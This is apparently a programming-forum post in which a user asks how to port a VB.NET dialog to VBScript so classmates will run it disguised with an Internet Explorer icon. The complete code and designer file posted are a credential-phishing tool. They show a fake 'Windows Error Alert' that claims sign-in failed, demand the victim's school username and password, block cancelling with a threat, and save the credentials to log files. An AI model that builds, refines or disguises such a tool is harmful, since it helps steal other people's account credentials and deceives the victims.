tylersuehr7
Member
- Joined
- Nov 24, 2013
- Messages
- 9
- Programming Experience
- 1-3
Is it possible to convert code from vb.net to vbscript? I have, basically, a windows form in vb.net but it is only a dialog box. The dialog box just has a few labels on it, two buttons, and two textboxes. When the user hits "okay" (button) it uses the "System.IO.StreamWriter" to write a text file (the textbox inputs) to a certain folder. It also has a setting called "count" as an integer and everytime the okay button is pushed the count goes up by 1 therefore the next time it uses the "StreamWriter" it writes the file name as ("C:\saved\nameOfWrittenFile" + My.Settings.Count + ".txt") that way it doesn't overright the previous saved text file. I want to do this to trick some of my friends at school, but if I just use vb.net it'll prompt the user to intall it therefore giving away the prank. But if I use vbscript I can change the icon to internet explorer or something I know they'd click on, it'll do what I my vb.net form does. Again, is this even possible to do? I'll put my code for the "code" part of the form and the "designer" part:
Imports System.Windows.Forms Public Class Trick Public number As Integer Private Sub OK_Button_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles OK_Button.Click If (UsernameBox.Text.Trim.Length = 0) Or (PasswordBox.Text.Trim.Length = 0) Then MsgBox("Either username or password was left blank!", MsgBoxStyle.Critical, "Error Alert") Return End If Dim message As New DialogResult message = MsgBox("Is this your correct school login?", MsgBoxStyle.YesNo, "Window Alert") If (message = Windows.Forms.DialogResult.Yes) Then Dim rt As New System.IO.StreamWriter(Application.StartupPath & "\assets\logs" + My.Settings.Count.ToString + ".txt") rt.Write("Username: " + UsernameBox.Text + vbNewLine + "Password: " + PasswordBox.Text + vbNewLine + Date.Now) rt.Close() My.Settings.Count += 1 MsgBox("Thank you. You may now access the computer.", MsgBoxStyle.DefaultButton1, "Window Alert") Me.Dispose() Else Return End If End Sub Private Sub Cancel_Button_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Cancel_Button.Click MsgBox("You cannot cancel this process. Access will be denied to your computer if you do exit this alert!", MsgBoxStyle.Critical, "Error Alert") Return End Sub Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click My.Settings.Count = 0 MsgBox("Count has been reset", MsgBoxStyle.DefaultButton1, "My Alert") Return End Sub Private Sub CheckBox1_CheckedChanged(sender As Object, e As EventArgs) Handles CheckBox1.CheckedChanged If (CheckBox1.Checked = True) Then PasswordBox.PasswordChar = "" Return End If If (CheckBox1.Checked = False) Then PasswordBox.PasswordChar = "*" Return End If End Sub End Class
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _ Partial Class Trick Inherits System.Windows.Forms.Form 'Form overrides dispose to clean up the component list. <System.Diagnostics.DebuggerNonUserCode()> _ Protected Overrides Sub Dispose(ByVal disposing As Boolean) Try If disposing AndAlso components IsNot Nothing Then components.Dispose() End If Finally MyBase.Dispose(disposing) End Try End Sub 'Required by the Windows Form Designer Private components As System.ComponentModel.IContainer 'NOTE: The following procedure is required by the Windows Form Designer 'It can be modified using the Windows Form Designer. 'Do not modify it using the code editor. <System.Diagnostics.DebuggerStepThrough()> _ Private Sub InitializeComponent() Me.TableLayoutPanel1 = New System.Windows.Forms.TableLayoutPanel() Me.OK_Button = New System.Windows.Forms.Button() Me.Cancel_Button = New System.Windows.Forms.Button() Me.Label1 = New System.Windows.Forms.Label() Me.UsernameBox = New System.Windows.Forms.TextBox() Me.Label2 = New System.Windows.Forms.Label() Me.Label3 = New System.Windows.Forms.Label() Me.PasswordBox = New System.Windows.Forms.TextBox() Me.Button1 = New System.Windows.Forms.Button() Me.CheckBox1 = New System.Windows.Forms.CheckBox() Me.TableLayoutPanel1.SuspendLayout() Me.SuspendLayout() ' 'TableLayoutPanel1 ' Me.TableLayoutPanel1.Anchor = CType((System.Windows.Forms.AnchorStyles.Bottom Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.TableLayoutPanel1.ColumnCount = 2 Me.TableLayoutPanel1.ColumnStyles.Add(New System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50.0!)) Me.TableLayoutPanel1.ColumnStyles.Add(New System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50.0!)) Me.TableLayoutPanel1.Controls.Add(Me.OK_Button, 0, 0) Me.TableLayoutPanel1.Controls.Add(Me.Cancel_Button, 1, 0) Me.TableLayoutPanel1.Location = New System.Drawing.Point(234, 129) Me.TableLayoutPanel1.Name = "TableLayoutPanel1" Me.TableLayoutPanel1.RowCount = 1 Me.TableLayoutPanel1.RowStyles.Add(New System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50.0!)) Me.TableLayoutPanel1.Size = New System.Drawing.Size(146, 29) Me.TableLayoutPanel1.TabIndex = 0 ' 'OK_Button ' Me.OK_Button.Anchor = System.Windows.Forms.AnchorStyles.None Me.OK_Button.Location = New System.Drawing.Point(3, 3) Me.OK_Button.Name = "OK_Button" Me.OK_Button.Size = New System.Drawing.Size(67, 23) Me.OK_Button.TabIndex = 0 Me.OK_Button.Text = "OK" ' 'Cancel_Button ' Me.Cancel_Button.Anchor = System.Windows.Forms.AnchorStyles.None Me.Cancel_Button.DialogResult = System.Windows.Forms.DialogResult.Cancel Me.Cancel_Button.Location = New System.Drawing.Point(76, 3) Me.Cancel_Button.Name = "Cancel_Button" Me.Cancel_Button.Size = New System.Drawing.Size(67, 23) Me.Cancel_Button.TabIndex = 1 Me.Cancel_Button.Text = "Cancel" ' 'Label1 ' Me.Label1.AutoSize = True Me.Label1.Font = New System.Drawing.Font("Microsoft Sans Serif", 9.75!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) Me.Label1.Location = New System.Drawing.Point(12, 9) Me.Label1.Name = "Label1" Me.Label1.Size = New System.Drawing.Size(372, 32) Me.Label1.TabIndex = 1 Me.Label1.Text = "An error occured while signing you onto the computer. Please " & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "enter your school " & _ "username and password login to continue." ' 'UsernameBox ' Me.UsernameBox.Location = New System.Drawing.Point(241, 58) Me.UsernameBox.Name = "UsernameBox" Me.UsernameBox.Size = New System.Drawing.Size(140, 20) Me.UsernameBox.TabIndex = 2 ' 'Label2 ' Me.Label2.AutoSize = True Me.Label2.Location = New System.Drawing.Point(177, 61) Me.Label2.Name = "Label2" Me.Label2.Size = New System.Drawing.Size(58, 13) Me.Label2.TabIndex = 3 Me.Label2.Text = "Username:" ' 'Label3 ' Me.Label3.AutoSize = True Me.Label3.Location = New System.Drawing.Point(179, 92) Me.Label3.Name = "Label3" Me.Label3.Size = New System.Drawing.Size(56, 13) Me.Label3.TabIndex = 4 Me.Label3.Text = "Password:" ' 'PasswordBox ' Me.PasswordBox.Location = New System.Drawing.Point(241, 89) Me.PasswordBox.Name = "PasswordBox" Me.PasswordBox.PasswordChar = Global.Microsoft.VisualBasic.ChrW(42) Me.PasswordBox.Size = New System.Drawing.Size(140, 20) Me.PasswordBox.TabIndex = 5 ' 'Button1 ' Me.Button1.Location = New System.Drawing.Point(13, 71) Me.Button1.Name = "Button1" Me.Button1.Size = New System.Drawing.Size(49, 23) Me.Button1.TabIndex = 6 Me.Button1.Text = "reset" Me.Button1.UseVisualStyleBackColor = True ' 'CheckBox1 ' Me.CheckBox1.AutoSize = True Me.CheckBox1.Location = New System.Drawing.Point(12, 141) Me.CheckBox1.Name = "CheckBox1" Me.CheckBox1.Size = New System.Drawing.Size(102, 17) Me.CheckBox1.TabIndex = 7 Me.CheckBox1.Text = "Show Password" Me.CheckBox1.UseVisualStyleBackColor = True ' 'Trick ' Me.AcceptButton = Me.OK_Button Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font Me.CancelButton = Me.Cancel_Button Me.ClientSize = New System.Drawing.Size(392, 170) Me.Controls.Add(Me.CheckBox1) Me.Controls.Add(Me.Button1) Me.Controls.Add(Me.PasswordBox) Me.Controls.Add(Me.Label3) Me.Controls.Add(Me.Label2) Me.Controls.Add(Me.UsernameBox) Me.Controls.Add(Me.Label1) Me.Controls.Add(Me.TableLayoutPanel1) Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog Me.MaximizeBox = False Me.MinimizeBox = False Me.Name = "Trick" Me.ShowInTaskbar = False Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent Me.Text = "Windows Error Alert" Me.TableLayoutPanel1.ResumeLayout(False) Me.ResumeLayout(False) Me.PerformLayout() End Sub Friend WithEvents TableLayoutPanel1 As System.Windows.Forms.TableLayoutPanel Friend WithEvents OK_Button As System.Windows.Forms.Button Friend WithEvents Cancel_Button As System.Windows.Forms.Button Friend WithEvents Label1 As System.Windows.Forms.Label Friend WithEvents UsernameBox As System.Windows.Forms.TextBox Friend WithEvents Label2 As System.Windows.Forms.Label Friend WithEvents Label3 As System.Windows.Forms.Label Friend WithEvents PasswordBox As System.Windows.Forms.TextBox Friend WithEvents Button1 As System.Windows.Forms.Button Friend WithEvents CheckBox1 As System.Windows.Forms.CheckBox End Class